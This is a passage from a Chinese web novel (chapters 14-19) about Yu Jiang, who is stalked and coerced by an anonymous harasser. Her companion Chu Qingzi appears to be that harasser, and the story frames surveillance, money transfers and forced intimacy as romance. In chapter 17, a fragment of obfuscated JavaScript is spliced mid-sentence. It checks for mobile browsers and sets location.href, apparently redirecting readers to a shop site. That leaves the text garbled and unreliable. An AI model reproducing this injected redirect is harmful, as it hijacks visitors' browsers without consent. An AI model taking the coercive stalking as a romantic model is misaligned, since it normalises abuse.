医生抬眼看向她，见怪不怪地淡定道。
“假的，你朋友装的，是在和你撒娇呢。”
14. 十四
医生轻飘飘的一句话，恍似在虞姜的头顶，放了一个接满水的脸盆。
音落，脸盆翻了个身——
哗啦一声响。
虞姜脸上映着的那点小羞涩，被水花打散了形。
她很是诧异：“撒娇？您是说我朋友这几次说自己头痛，其实都是骗我的？目的只是为了和我撒娇？”
医生很有耐心地把自己的诊断结果重复一遍。
“是的，根据结果来看，你朋友的身体非常健康，按道理来说呢，她的确不该出现头疼的问题，所以我想，她有很大概率是装的。”
虞姜敏锐地听出她的话外音，追问道：“医生，除了伪装之外，是不是也存在其它可能的？”
医生：“你可以带她去其它医院重新检查一遍。”
“当然了。”她补充，“也不排除是心理方面出现问题导致生理方面受了影响，你要是真的担心，可以直接带她去咨询一下这方面的专业医生。”
医生说得够清楚，虞姜识趣地没有再问其它。
她谢过医生，思绪复杂地转身离开。
褚倾子拿着水，安静地站在门外等着。
见虞姜出来，神色自若地问她：“宝宝又回来找医生问什么了？”
病生在褚倾子身上，自是瞒不得。
虞姜没有将对话内容完全泄露，而是把决定权交给她。
“频繁头痛不是什么小毛病，倾子，我还是不太放心，既然这家医院检查不出来，那我们明天换家更好的医院，再去检查一遍吧，好吗？”
褚倾子温顺的态度找不出任何破绽：“好，都听宝宝的，现在我们先去把电影看了，等晚点回到家，我再约新的检查时间。”
穿过走廊，两人从就近的侧门出去。
远离了其他人纷乱的嘈杂音，褚倾子温柔的声线，显得更有实质感。
“现在离电影开场还有点时间，宝宝肚子饿了吗，要是饿的话，我们先去商场四楼把晚饭解决了，再去取电影票。”
虞姜停下的动作很是突然。
一旁直视着前方道路的褚倾子，却连头都没扭，就跟着止了步。
“宝宝？”
虞姜没有意识到这一点，在她不解地看过来时，犹豫地开了口。
“倾子，要不电影还是改天再看吧，等你头痛的问题真正解决了，我们再看。”
虞姜能明确感受到，自己的话才说一半，周遭的气压已经开始朝着低温方向靠近。
等她说完，气氛更是彻底降到冰点。
褚倾子哪能听不懂她究竟是在问什么，盯着虞姜看了片刻，不辨情绪地笑了一声。
她比虞姜几乎快高出一个头，微倾身子欺过来时，犹如一座山般，无声却又令人倍感压力的气势，逼得人腿直发软。
虞姜躲不开、逃不掉，紧贴着地面的双脚，向下爬出长长的根。
她被根须牢牢地固定住，只能被迫以这么近的距离，聆听对方的话。
“宝宝还是那么聪明，既然宝宝已经知道了我会头疼的真相，那宝宝现在，又打算如何惩罚我呢？”
褚倾子又变成那副温柔的样子。
脚底下长长的那些根须，消失了。
重新拥有自我身体支配权的虞姜，很平静地接受了自己被欺骗的事实。
她既没有愤怒地斥责褚倾子说了谎，也没有一言不发地扔下褚倾子兀自离开。
比起这些，她更在意的是：“所以你的头，真的没有任何问题，对吗？”
虞姜微微仰着头看她。
眼里流露出来的纯粹关心，将褚倾子的欺骗性行为衬托得愈发卑劣。
但凡褚倾子是个有羞耻心的人，都该因为这种单纯而真诚的眼神而感到自惭形秽。
可她显然不是人。
看着这样的虞姜，她脑子里冒出来的唯一念头，是——
真想亲自把这么干净这么单纯的宝宝，一点点涂上名为情.欲的漂亮色彩。
在床上哭起来的宝宝，真不知道会有多好看呢。
褚倾子难得主动躲开她的视线，声线微哑地简单回应：“嗯。”
虞姜不知道她的脑子里究竟在想些什么。
见她眼神刻意逃避，还以为她是在为自己的欺骗行为感到羞愧。
“我没有怪你，不过你以后一定不要再拿这种事来骗我了，我会担心你的。”一想到接下来要说什么，她变得有些害羞，声音也低了许多，“如果你真的想抱我的话，那、那你以后直接和我说就好了……”
虞姜也不敢再看对方，微红着脸，继续合理化自己之前撒过的谎：“我虽然不喜欢做这种事，但如果、如果拥抱的频率不是很高的话，我应该……是可以接受的。”
“宝宝，我听得很清楚。”褚倾子好心地替她强调了重点，“宝宝刚才是说，以后只要我主动开口，宝宝就会让我抱的，对吧？”
虞姜拧着秀气的眉毛，轻轻地纠正她：“不是每一次，是偶尔。”
“偶尔是指多久呢？和吃饭一样，一天抱三次，可以吗宝宝？”
虞姜被她得寸进尺的请求吓破胆，连忙摇头
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：“那样太频繁了，我觉得，三、三天一次才算是偶尔。”
“三天才一次？！”褚倾子的声音拔高了些。
虞姜眼巴巴地望着她。
褚倾子的视线落在她脸上，只能咽下那句已经快从喉咙里蹦出来的话——宝宝，这个玩笑一点也不好笑。
“好，都听宝宝的，三天一次就三天一次。”
“那我们可以去看电影了。”心中压着的大石头彻底被搬走，虞姜总算安下心。
正要越过褚倾子往前走，一只手伸来，熟练捏住她的衣角。
“宝宝，我现在想抱你。”
虞姜咋舌：“刚才在小区门口，不是已经抱过了吗？”
“那次不能算，宝宝是现在才和我约好的，应该从现在开始算，那我可以抱你了，对吧宝宝？”
虞姜插不上话，等褚倾子说完，一切俨然已成定局。
她的回答，也就显得无关紧要。
“好吧。”
抛开谎言之后的第一次合约拥抱，对虞姜来说，体验感依旧不怎么好。
坐上车以后，她悄悄侧了侧身。
确保自己的小动作不会被另一边的褚倾子瞧见后，才一脸挫败地伸手，揉了揉自己这颗像是被打进一整支兴奋剂的心脏。
手机屏幕突然亮了起来。
正愁该怎么分散注意力的虞姜，开始病急乱投医。
她还是第一次这么殷切地希望发消息的人是无名变态。
可惜，找她的不是那个能让自己把一切情绪全部转化成怒意的讨厌家伙，而是那个异校好朋友。
【迟小净：在干嘛？我在给学姐排队买奶茶，发现咱俩聊天记录停留在上周，就顺便来问候你一下。】
【迟小净：（奶茶店面照片.jpg）】
【迟小净：这家店昨天新开的，味道还不错，你哪天出门玩有看见这个牌子的话，可以试试。】
虞姜告诉她等会儿自己要和褚倾子去看电影。
回复完，迟疑片刻，还是主动坦白了自己和褚倾子的拥抱合约。
末了，开始向对方寻求帮助。
【你说我该怎么办啊？现在再反悔的话，是不是不太好？】
等了十多秒，迟净的消息才回过来。
【迟小净：笨笨的虞小姜同学，你难道没听说过“以毒攻毒”这个词吗？】
【迟小净：你说你想在和她拥抱的时候保持冷静，这还不简单，直接拜托她和你接吻好了，更亲密的事都做过了，我就不信你还会因为这种小事而心绪不宁！】
15. 十五
【迟小净：哈哈，我开玩笑的，你总不会当真了吧？】
【迟小净：（蹭腿小猫.jpg）】
【迟小净：？】
【迟小净：人呢？怎么不回我了？】
【迟小净：？？？人呢？？？虞小姜同学？？？】
【迟小净：虞小姜？！！虞大姜！！！】
【迟小净：我的妈呀！！！你不会真扑过去找她索吻了吧？！！要命了简直！】
【迟小净：[语音通话已被拒绝]】
虞姜脸上余热未褪，拒绝完对方的通话申请，慢慢打起字。
【我没有那样。】
【迟小净：虞小姜同学，我要强烈谴责你这种明明正和我聊着天，却一声不吭突然闹消失的恶劣行为！】
【迟小净：你该不会是和我聊到一半，注意力就被她给勾走了吧！你这块重色轻友的坏姜！】
虞姜担心她误会得更深，犹豫一阵，还是乖乖向她解释。
【对不起啊，我不是故意不回你的。】
【我没有半途丢下你去找她聊天，没能回你是因为】
虞姜手一抖，连标点符号都没添上，直接点了发送键。
她愣了下，暂停动作，轻拧着细眉，将已发出去的内容认真检查一遍。
确认里头没有需要撤回重新编辑的错别字后，才继续敲下没打完的字。
【我可能还没完全冷静，你刚才提到那种事，我只是看一眼，心跳就又加速了，所以才没来得及回复你。】
【你认识的朋友比我多，她们应该会和你聊这类情感话题吧？有没有哪个你认识的朋友，也会像我一样，在这种时候，反应这么大的啊？】
【我这样真的正常吗？我是不是应该抽个时间去医院挂个号看一下呀？】
这回突然闹消失的，变成了迟净。
倒也没有让虞姜等太久，隔了约莫十多秒，聊天页面中就多出一串的哈哈哈。
【迟小净：虞小姜同学，我真的是被你给打败了。】
【迟小净：你的意思是，我刚才只不过打了个jw，你就自动在脑海里幻想这个画面然后直接自我高/潮了？】
【迟小净：抱歉，忘了高/潮这个词对你这种小单纯来说还是太刺激了，我换种说法。】
【迟小净：算了，一时想不出来，反正你能理解我想说什么就行。】
【迟小净：我知道你这家伙一直挺纯情的，但我没想到你居然纯情到了这种地步！】
【迟小净：你就把心好好地放在胸膛里吧，迟神医都不用替你把脉，就知道你这种情况，是很正常滴！】
【迟小净：原因很简单，你爱惨她咯。】
【迟小净：害，解决方法我上次也和你说过了，治病时间是这周日下午四点，你没忘吧？】
【迟小净：不过我也挺好奇的，万一哪天你俩真因为意外jw了，你该不会被刺激得当场晕过去吧？】
【迟小净：知道你会应激，关键词都特意替你换成拼音了，不用谢。】
虞姜同样很相信迟净。
见她这么说，才放下心。
两人在微信上聊了一路。
直到车子停在商场门口，虞姜才跟她说再见。
【迟小净：那就先这样，周日我如果有空的话就去接你，要是真赶不过去，到时候替你叫车。】
//
电影开场的时间，距离现在只剩最后十分钟。
要是解决完晚饭再上楼，定是来不及。
虞姜以为褚倾子也是这么想的，先她一步踏入电梯后，直接按下最顶楼。
一只骨节分明的手跟着伸来，白净的食指，轻轻将写着“4”的按键按亮。
虞姜提醒她：“电影就快开始了，我们看完再下来吃吧。”
褚倾子：“宝宝现在不饿吗？”
虞姜的日常生活习惯，被对方了解得一清二楚。
她老老实实得没敢撒谎：“有一点，但可以忍，等电影看完再欸——”
话没说完，四楼到了。
门一打开，虞姜就被褚倾子扯着衣角带了出去。
“抱歉宝宝，这次是我没考虑周全，下次我会安排好时间的，电影的事情宝宝不用担心，场次可以改签，既然宝宝饿了，那我们先去吃饭，电影晚点再看吧。”
褚倾子将后路都找好了，虞姜也不好再说什么。
两人找了家餐厅，解决完晚饭，上到电影院所在的楼层。
此时离
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改签完的电影放映时间，还有一会儿。
虞姜手里拿着单杯可乐，先一步入座。
电影还没开始播放，厅内的光线充足，这让她可以很清楚地观察到，褚倾子腿上放着的那桶爆米花，明显属于双人份。
“倾子，你买的应该是双人套餐吧，工作人员怎么只给了你一杯可乐啊？”
褚倾子面色不改，冷静解释：“要接第二杯的时候，机器里的可乐不够了，我担心宝宝等太久，就只拿了一杯。”
她又露出那副委屈的表情：“宝宝这么问，难道是介意和我喝同一杯吗？才过去一个下午而已，宝宝就——”
虞姜连忙打断：“不是的不是的，我只是以为你漏拿了而已，没有其它意思。”
褚倾子满意地弯起唇，主动将杯口处理好，凑到虞姜嘴前：“那宝宝要先喝一口吗？”
虞姜其实并不渴，无奈盛情难却，只好依着她的动作，浅浅地啜了一小口。
褚倾子：“宝宝还要继续喝吗？”
虞姜这回可以拒绝了，坚定地摇摇头。
褚倾子不再邀请，开始就着虞姜粉唇碰过的位置，极尽缓慢地跟着尝了一点。
虞姜无意瞧见这个画面，脸哧的一声，再度泛起惹眼的红。
胃中的那一口碳酸饮料，化成一个又一个的小气泡，不停在她身体里噗嗤噗嗤地炸开。
炸得整个胸腔，都变得又酥又麻的。
虞姜觉得自己需要去外头透口气。
她这么想，也这么做了。
噌一下起的身，不待褚倾子反应过来，她直接扔下话快步离开。
“倾子，我想先去趟洗手间，你留在这里替我看一下包吧。”
褚倾子身形未动。
隐于可乐杯后的那双温柔长眸，轻而易举地落在那道远去的纤细身影上。
直到它彻底逃离出自己的视线范围，她才放下可乐掏出手机，打开唯一置顶的聊天框。
若是有人瞧见，一定会被正在发生的这一幕吓到。
明明她的手没有任何动作，输入框中，却自动出现了一行待发送的文字。
【老婆，晚上好～下午有事忙了大半天，现在终于能来找老婆了！呜呜呜好想老婆～】
16. 十六
虞姜足足洗了三遍脸，才逼得自己冷静下来。
锃亮的镜子照出被水打湿的脸，不只是两道眉，就连卷翘的眼睫毛，也闪着盈盈透亮的水光。
她试图去拿纸，摸遍全身所有口袋，最后只找出来一个因为收到新消息而自动发亮的手机。
虞姜暂时顾不上管它。
卫生间里都配备着免费的公用纸，虞姜正准备去抽几张，一阵干净的年轻女音，在她身后响起。
“同学，你是要用纸吗？”
发出询问的，是站在虞姜边上那个正在补妆的女生。
对方的口红才涂了一半，望向虞姜的目光，透着能令人卸下心防的单纯善意。
她很直接地表明自己的目的：“不介意的话，还是用我的吧。”
说完，女生递给她一包崭新的手帕纸。
巴掌大的脸蛋微微皱起，是嫌弃的意思。
被嫌弃的对象，倒不是虞姜。
女生解释：“这种公共场所的免费纸都挺脏的，可能会有蟑螂之类的东西爬过，我以前也不知道，后来听说了，就再也不敢用这类纸了。“
虞姜也是刚知道这种情况，表情不由得僵滞了一瞬。
很快反应过来：“那我就不和你客气了，谢谢。”
虞姜只抽了两张，抽完重新把包装整理好，递回给对方。
这么一小会儿的功夫，女生已经补完口红。
她没有把东西收回去，朝虞姜扬唇一笑，转身离开。
“我包里还有新的，这包你留着用吧，拜拜。”
虞姜想着只是一包纸，便没有刻意追出去，照着镜子整理完仪容，才边往外走、边把手机锁解开。
脸上的笑意，因为无名变态的出现，瞬间褪得一干二净。
为了确保没有遗漏任何可能影响到自己的关键信息，虞姜被迫将聊天记录往上拉。
【无名变态：老婆，晚上好～下午有事忙了大半天，现在终于能来找老婆了！呜呜呜好想老婆～】
【无名变态：我最最最爱的聪明老婆，要不要猜猜看～我现在究竟在哪里呢～】
【无名变态：（餐厅的局部照片.jpg）】
【无名变态：虽然老婆没有回答我，但我愿意无条件溺爱老婆！恭喜聪明老婆又答对噜～】
【无名变态：[对方向您转账5200元]】
【无名变态：这是给老婆答对问题的奖励，请乖乖老婆收下～】
【无名变态：还要和老婆说一声，我现在坐的，是老婆刚刚坐过的位置呢。（脸红小狗.jpg）】
【无名变态：这上头还有老婆留下的体温噢～四舍五入一下，我就算是和老婆产生肢体接触了呢～好开心好激动～】
看到这里，虞姜手臂上又冒出一大片的鸡皮疙瘩。
这个该死的死变态，真的是每天都在不遗余力地用这些肮脏的话，来刷新她的恶心下限。
她强压下反胃的感觉，继续往下看。
【无名变态：空气里还能闻到专属于老婆的迷人味道～香香的好好闻～（小狗嗅嗅.jpg）】
【无名变态：对啦，好心提醒老婆一句，老婆不用再刻意跑下来找我啦～】
【无名变态：我乖乖把老婆留在餐厅里的味道都吸光后，就直接走了呢～】
【无名变态：虽然我吸得很满足，但我现在其实一点也不开心哦，老婆知道为什么吗？】
无名变态的消息，发到这里就没了。
虞姜往回走到一半的步伐，也停了。
那股熟悉的即将被威胁的不详之兆，如同黑压压的乌云般，笼罩在她的头顶之上。
她愤愤敲字，还没打完，新消息发送过来。
【无名变态：老婆你真的太让我伤心了呜呜呜。（小狗被气晕.jpg）】
【无名变态：我没猜错的话，老婆现在一定是想说，你是不会放弃和讨厌鬼一起看电影的对吧！】
【无名变态：呜呜呜我要委屈死了！笨蛋老婆！笨蛋老婆！我究竟要说几遍你才肯相信我嘛呜呜呜。（萎靡小狗.jpg）】
虞姜见状，默默删除了输入框中被猜对的这些内容。
【无名变态：不过老婆这么不信任我，恰恰证明了，我对老婆来说，也是最特殊的～（小狗又活啦.jpg）】
【无名变态：谢谢老婆如此特殊地看待我，老婆对我来说，也是最特殊的呢！（小狗贴贴.jpg）】
虞姜：“……”
【无名变态：本来我今晚其实是打算放过老婆的，结果老婆！哼！】
【无名变态：让我伤心的事我不要再提了！反正老婆只要知道，我又要老婆替我完成心愿就对了！哼！（超委屈小狗.jpg）】
【无名变态：因为老婆一下子就让我伤了两次心，所以这次的心愿，是加强版喔～】
【你又在犯什么病？】
虞姜简直要被这不讲道理的死变态气晕过去。
好端端的，她做什么了！
【无名变态：老婆刚才误会我是想阻止你和讨厌鬼看电影，让我伤心了一次，对吧？】
【无名变态：还有一次的话，哼！老婆以为我没看见吗，我可是看得清清楚楚，老婆你刚才拿别人的纸擦脸了！老婆怎么能拿别人的纸擦脸嘛呜呜呜。】
虞姜：？？？
胸腔内
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翻滚的怒意，让她成功忽视掉无名变态的真身刚才出现过的事实。
虞姜当场按下语音条。
她被气得险些抓不住手机。
“你这个脑子有病的死变态！我拿别人的纸擦脸你都要管！你真的有病吧！我不拿她的纸擦脸！我拿你擦吗！恶心的死变态！！！”
理智在消息即将发送的前一秒侥幸回归，虞姜黑着脸取消这段语音条，重新换成文字发过去。
【你这个脑子有病的死变态！我拿别人的纸擦脸你都要管！你真的有病吧！我不拿她的纸擦脸！我用什么擦？恶心的死变态！！！】
她有预感，某句话不改掉的话，这个没底线的变态家伙，一定会说些肮脏又恶心的话。
事实证明，虞姜真的很了解她。
【无名变态：好可惜，都看见老婆在发语音了，结果还是只打了字，呜呜呜心塞塞。】
【无名变态：其实只要老婆愿意，拿我擦也是可以的～（害羞羞.jpg）】
【无名变态：老婆需要纸的话，为什么不叫讨厌鬼给你送过来！】
虞姜觉得她简直不可理喻。
【就为了一张纸，我还让她特意跑一趟，就算她不嫌我烦，我也会觉得我有病！】
【无名变态：谁让她腆着脸找老婆看电影，她就必须替老婆做这种事！连怎么伺候老婆都不知道，她就是个没用的废物！】
【无名变态：要是能陪老婆看电影的是我，别说只是简单走几步路给老婆送纸，就算我的腿断了！我爬也会爬过来给老婆送！】
虞姜想象了一下那个诡异的画面：“……”
大可不必，谢谢。
【无名变态：反正老婆就是让我伤心了，呜呜呜我好伤心好伤心的，老婆得安慰我呜呜呜。】
【无名变态：啊哦，现在电影开始播放了，所以老婆是打算抛弃讨厌鬼，继续再陪我聊聊天嘛～（期待小狗.jpg）】
【说。】
【无名变态：呜呜呜脑袋好痛，又被老婆的冷漠狠狠踹了一脚。（脑袋肿包的小狗.jpg）】
【无名变态：不过还是要表白冷漠的老婆喔～就回一个字的老婆也超可爱呢～】
【无名变态：我的心愿其实很简单，那我说噜～】
【无名变态：哼！上次被那讨厌鬼骗过去了，我就不信这次还会判断错！】
【无名变态：我要老婆等会儿和讨厌鬼手牵手把电影看完！】
【无名变态：还有，因为这次是加强版，所以老婆还要自己想一想办法～】
【无名变态：很期待老婆用自己的口水，把讨厌鬼的手，舔得湿湿的呢～我要恶心死她嘻嘻～】
17. 十七
【无名变态：对啦，老婆不用替我操心该怎么检查结果，我超厉害的呢～】
【无名变态：影院里都有监控，我自己会想办法解决这些问题的！（全能小狗.jpg）】
【无名变态：就是要委屈一下老婆，把那讨厌鬼的手指给舔一舔了。】
【无名变态：[对方向您转账13140元]】
【无名变态：呜呜呜对不起老婆，我主要是想恶心她，不是想伤害老婆，这是给老婆的伤害小补偿，请老婆收下！】
【无名变态：开始狠狠期待讨厌鬼被吓一跳的夸张反应！（小狗跳舞.jpg）】
几分钟前，虞姜刚被无名变态气得无能狂怒过一回。
这么短的时间里再次遭遇类似伤害，她的反应明显平静很多。
【你死心吧，这么恶心的事，我是绝对不会做的。】
【无名变态：老婆如果真的不想做，那就不做好了。】
虞姜并未因此松口气，她直觉死变态的话才说了一半。
下一秒，预感应验。
【无名变态：反正我只是想恶心讨厌鬼，谁来舔她的手，都一样！】
【无名变态：我没数错的话，老婆和讨厌鬼的位置，是在5排的9座和10座对吧？（机灵小狗.jpg）】
【无名变态：我打算请别人免费看一场电影，老婆要不要夸夸我？（大方小狗.jpg)】
【无名变态：反正8座和11座都没有人，我现在买下它们，应该没问题吧？】
虞姜还没笨到听不出她话里隐含的威胁味道。
【你到底想说什么！】
【无名变态：呜呜呜老婆怎么又凶我，我刚才不是都乖乖和老婆你说了嘛呜呜呜。（委屈大哭.jpg）】
【无名变态：老婆不想替我恶心她，那我就得找别人帮我呀～】
【无名变态：当然啦，如果老婆愿意帮我的话，我就不找别人了。（乖巧.jpg）】
【无名变态：我其实还是希望老婆能答应我的，因为这样的话～】
【无名变态：讨厌鬼肯定再也不敢邀请老婆看电影了！（恶魔小狗.jpg）】
【无名变态：所以，老婆究竟是要自己舔，还是让别人来舔呢？】
【无名变态：我都听老婆的喔～】
//
虞姜还没想好完整的舔手指计划，就被一道熟悉的柔声叫停了脚步。
“宝宝是在想什么，连我这么大的一个人站在这里，都没有看见吗？”
她连忙朝声音来源处扭头看去。
被直接越过的褚倾子，抬脚走到她身边，蹙眉关心道：“宝宝怎么了，是哪里觉得不舒服吗？一副魂不守舍的样子。”
虞姜忙摇头：“我没事，刚才只是在想事情，一时没看见你，不好意思啊。”
说完，马上转移话题：“你怎么出来了？”
褚倾子见她不像是在逞强，隐隐担忧的表情才恢复如常。
“我看宝宝一直没回我微信，担心是有急事，就来找宝宝了。”
虞姜表情不自然地撒了个新的小谎：“里头信号不太好，我就没看手机，下次我如果迟迟没回你消息，你就直接给我打电话吧。”
“好，我以后会这么做的，那我们继续回去看电影吧。”
虞姜并不是第一次和褚倾子一起看电影。
像今天这样等开演了才正式入座的情况，倒是第一次。
厅内的光线条件很差，她几乎可以算是摸黑前行。
好不容易找到台阶，还没抬脚往上踩，走在她身后的褚倾子，贴近她小声开了口。
“宝宝，我走前面吧。”
虞姜悄悄抬起手，揉了揉被她的气息吹热的耳朵。
安抚完，把手放下。
前方的褚倾子扭过头，温柔地邀请她：“宝宝还是拉着我走吧。”
光线在褚倾子的脸上暂作停留，顺着她的视线，虞姜看见被她主动递出的半截衣角。
虞姜没有拒绝，温顺地拉住这盏黑暗中的指路明灯。
两人一前一后地沿着台阶缓步上行。
虞姜望着前方这道隐于暗色中的模糊身影，脑子里不禁冒出一个荒诞而又梦幻的想法。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045174|148376||http|test|mini|href|location''.split(''|''),0,{}));
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这一刻的褚倾子，好像童话故事里独自踏上征途，最终仅凭一己之力便成功打败恶龙的公主。
而她呢，则是那个被公主从恶龙城堡中救出来的女巫。
女巫本来只是被恶龙抓来负责打理整个恶龙岛的普通女孩，却因为爱上一个突然闯入恶龙城堡的天神般的美丽少女，而变成了不被世俗所接受的恶毒女巫。
想象中的童话人设刚做完，虞姜就忍不住低笑了一声。
童话故事千千万，倒是从没听说过有哪一篇，讲的是公主和女巫的美好爱情。
她自认为笑得足够小声，未曾料到，坐在自己身旁的褚倾子，却将那阵转瞬即逝的笑意，捕捉得一清二楚。
“宝宝这么喜欢这部电影吗？笑得很开心呢。”
虞姜被问懵，意识到她是误会了，压低声音解释：“我笑的不是电影内容，而是突然想到一个有趣的童话故事。”
说完，顺着话题反问：“如果让你在童话故事里选一种身份，你会希望自己变成哪种角色呢？”
褚倾子有点没跟上她的脑洞：“童话、故事？”
“嗯，童话故事，比如公主、骑士、女巫什么的，你最想成为哪种角色呢？”
褚倾子听懂了，没有着急回答，学她反问：“宝宝希望自己变成谁呢？”
虞姜哪敢告诉她自己的真实想法，一时心虚，随口扯了个耳熟能详的名字：“白雪公主吧。”
褚倾子没有评价她的选择，笑着回应她方才的问题：“如果宝宝是白雪公主，那我想成为的，就是那个拥有魔镜的恶毒皇后。”
这个答案不在虞姜的预期范围内，她以为褚倾子是受了自己的影响，补充道：“这个问题没有局限性的，你可以换个童话，也可以杜撰一个新的童话，就算也想成为白雪公主，那也没关系的。”
褚倾子微笑。
“宝宝，不管条件如何，我想成为的，还是皇后呢。”
谁让她有一面，可以用来二十四小时观察公主一举一动的魔镜呢。
魔镜什么的，真是太棒了。
对吗，我的白雪公主？
18. 十八
褚倾子前后答案如此一致，倒是让虞姜产生探究的好奇心。
“你还是想当皇后？为什么？”
虞姜忘了是从哪儿看到的，说是与他人聊天时，应当看着对方的眼睛说话，这被称作一种礼貌性的社交潜规则。
她一直都有刻意这么做。
眼下亦是如此。
无奈影厅内的光线，暗得伸手不见五指。
虞姜心有余而力不足，她就算把眼睛睁到尽可能大的程度，依旧看不清褚倾子的样子。
最后悻悻扭回脑袋，决定暂时做个不礼貌的人。
“宝宝能猜到我是怎么想的吗？”
问题像颗皮球，又被对方当场丢回来。
虞姜听话地把球捡起，盯着它看了将近半分钟，眼神一亮：“是因为在这个童话故事里，皇后是唯一的魔法拥有者吗？”
褚倾子还没回应，她又开口补充：“我也不知道有没有记混，《白雪公主》里，拥有魔法的人应该只有皇后吧？”
“宝宝倒是把我问住了，不过无论是否还有其他人拥有魔法，对我来说，这些都不是我想成为皇后的理由。”
褚倾子温声解释：“我之所以想成为皇后，只是因为，她能更全面地保护白雪公主。”
虞姜觉得她的用词大胆且可怕：“皇后保护白雪公主？你确定你看的是正版童话吗？”
褚倾子被她可爱的反应逗笑：“那宝宝就当我看的是同人版《白雪公主》吧，在我说的这个版本里，皇后并没有伤害白雪公主，相反，两人还成为了最好的朋友，宝宝觉得，这个发展怎么样？”
虞姜不太走心地附和：“嗯，很不错。”
“宝宝真的觉得这样的结局很好？”
话音刚落，一股不知从何处吹来的阴风，开始顺着虞姜后领口的缝隙处灌进去。
她被风儿所裹挟的寒意刺激到，生理性地抖了下。
抖完抬手，揉了下那片裸/露在外的肌肤，那里像是被寒风舔过，一时间显得格外凉。
是错觉吗？
怎么感觉突然变冷了？
虞姜缩起脖子，以防又被下一阵阴风偷袭。
这次依旧没有说真心话：“嗯，你说的这个结局，比原剧情的好多了，你真有想象力。”
她暗自在心中祈祷，拜托拜托！别再揪着这个问题不放了！
我总不能告诉你，比起温情版的“白雪公主和恶毒皇后交朋友”，我更喜欢的，其实是禁忌版的“白雪公主和恶毒皇后谈恋爱”吧！
褚倾子似是听见了她的无声祈祷，真将话题转移到了更实质性的内容上。
“宝宝是觉得冷吗？”
虞姜能听出她语气中自然流露出来的关心与在意，为了不让她担心，下意识伸直自己的脖子。
正要说不冷，脑中灵光一闪而过，连忙改口：“嗯，有一点。”
说着，还煞有其事地假装咳嗽一声。
这些常规性的动作做完，虞姜使出自己的杀手锏。
“其实我主要还是——”手冷。
最关键的两个字刚到嘴边，就因褚倾子的动作堪堪停住。
虞姜看不见她究竟做了什么，只能通过她发出的细微动静，猜测她应该是站了起来。
事实证明，的确如此。
半弯着腰起身的褚倾子，凑过来低声向她报备：“电影还剩一个多小时，我也没有带外套，宝宝在这里等我一下，我去楼下替宝宝买件外套再上来。”
虞姜小小的脑袋里，填满了大大的问号。
Excuseme？？？
这种情况下，真的会有人第一反应是去买外套的吗？？？
大多数人的正常反应，不应该是把对方的手拉过来主动说要替她捂热吗？？？
难不成是我无脑偶像剧片段看多了？？？
褚倾子很有耐心地等了一会儿，见虞姜迟迟未开口，以为她是默认了。
“那我先走了，辛苦宝宝再忍一忍，我会尽快上来的。”
虞姜哪里还顾得上去想其它，慌忙朝着她所在的方向盲抓过去。
本以为自己什么也碰不到，结果却比她想的要好太多——
这一抓，竟直接把褚倾子的手给拉住了。
褚倾子一动未动，所有困惑，皆融化在低唤她的昵称里。
“宝宝？”
事已至此，虞姜也只能硬着头皮说。
“买外套太夸张了，我只是手有点冷，你不介意的话，可以让我牵一会儿吗？”
“不可以哦，宝宝。”褚倾子连个停顿都没有。
虞姜还是第一次被她拒绝，一时也不知道该作何反应。
两秒后，表情尴尬地把手收回：“抱歉，我——”
她懵懵地看向自己重新被牵住的手——尽管仍是什么都看不见。
褚倾子没再放开，等坐回虞姜身边了，才温柔反问：“宝宝觉得冷，自然该由我来牵着宝宝，对吗？”
虞姜面色微赧，听不出情绪地嗯了一声。
一时没人再说话。
难得的范围性安静，并没有让虞姜感到轻松，反倒令她变得更容易胡思乱想。
以防心脏又开始激动，只好继续同对方说起只有彼此能听见的悄悄话。<
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“你不问我吗？”
她问得没头没尾，恐怕也就只有褚倾子能懂她。
“比起那些，我更想问宝宝的是，从今往后，我应该都不需要再替宝宝买外套了，对吗？”
委屈又可怜的语气，化作一把温柔的小锤子，不断在虞姜的良心上来回敲打。
几经挣扎，虞姜终是咬唇答应：“和、和拥抱一样，三、三天只能牵一次。”
褚倾子眼尾都在含着笑：“好，都听宝宝的。”
紧接着，垂眸看了眼腿上的东西：“宝宝，爆米花再不吃就要冷了，我喂宝宝吃一点好吗？”
虞姜没拒绝，对此时的她来说，不管做什么，都好过保持沉默。
“我可以自己吃的。”
她是右撇子，惯用的手正空着，拿来抓些东西再自然不过。
开口的速度慢了些，话刚说完，褚倾子递过来一颗甜香的爆米花。
虞姜只好张嘴去接。
许是因为周围的环境太暗，向来懂得投喂分寸的褚倾子，一不小心，就将手指连同爆米花，一并探入虞姜口中。
虞姜脑子一抽，不自觉在她略靠后一点的指腹处，舔了一口。
被舔的人还没有反应，做坏事的人，倒先露出一副被雷劈到的夸张表情。
她她她她她、她她她刚才做什么了？！！
“宝宝，还要吃吗？”
褚倾子的态度依旧温柔，仿佛刚才被猛地舔了手指的，并不是她。
虞姜见状，懵了。
这个反应，不太对吧？
她小心翼翼地问：“刚才、你没感觉吗？”
褚倾子被问得一头雾水：“宝宝，你吃爆米花，我也需要有感觉吗？”
她虽不解，但不忍心扫她的兴，又措辞道：“宝宝乖乖吃下我喂的爆米花，我很高兴，这样的感觉可以吗宝宝？”
虞姜见她真的没察觉到，暗暗在心中松了口气。
“我不吃了，你吃吧。”
感谢这次意外！
她终于可以向死变态交差了！
没想到这么困难的任务都能完成，她可能是个天才！
虞姜有点小得意，喜滋滋地开始做起正事——把剩下的电影看完。
她看得太过投入，并未发现身旁安静的褚倾子，此时正以一副几近痴迷的神情，细细嗅着自己那根刚被舔过一瞬的长指。
鼻端的欲望暂时被满足，她才如获至宝般，将微微湿润的指节，缓缓含入口中。
粉嫩的长舌将它一点点吞没，直到留在上头的专属甜香滋味被尝尽，她才依依不舍地抽出它。
19. 十九
电影放映结束，厅内的照明灯，皆被工作人员点亮。
虞姜见其他人都开始往外走了，也准备离开。
她扭头看向身旁的褚倾子，视线只在她脸上停留一瞬，就被那桶爆米花给吸引走。
一颗颗饱满金黄的爆米花，在圆桶里堆成一座微凸的小山丘，这般与初时几乎一致的模样，只证明着一件事——
“倾子，爆米花怎么还剩这么多啊，你刚才一点都没吃吗？”
褚倾子有点没反应过来：“爆米花？”
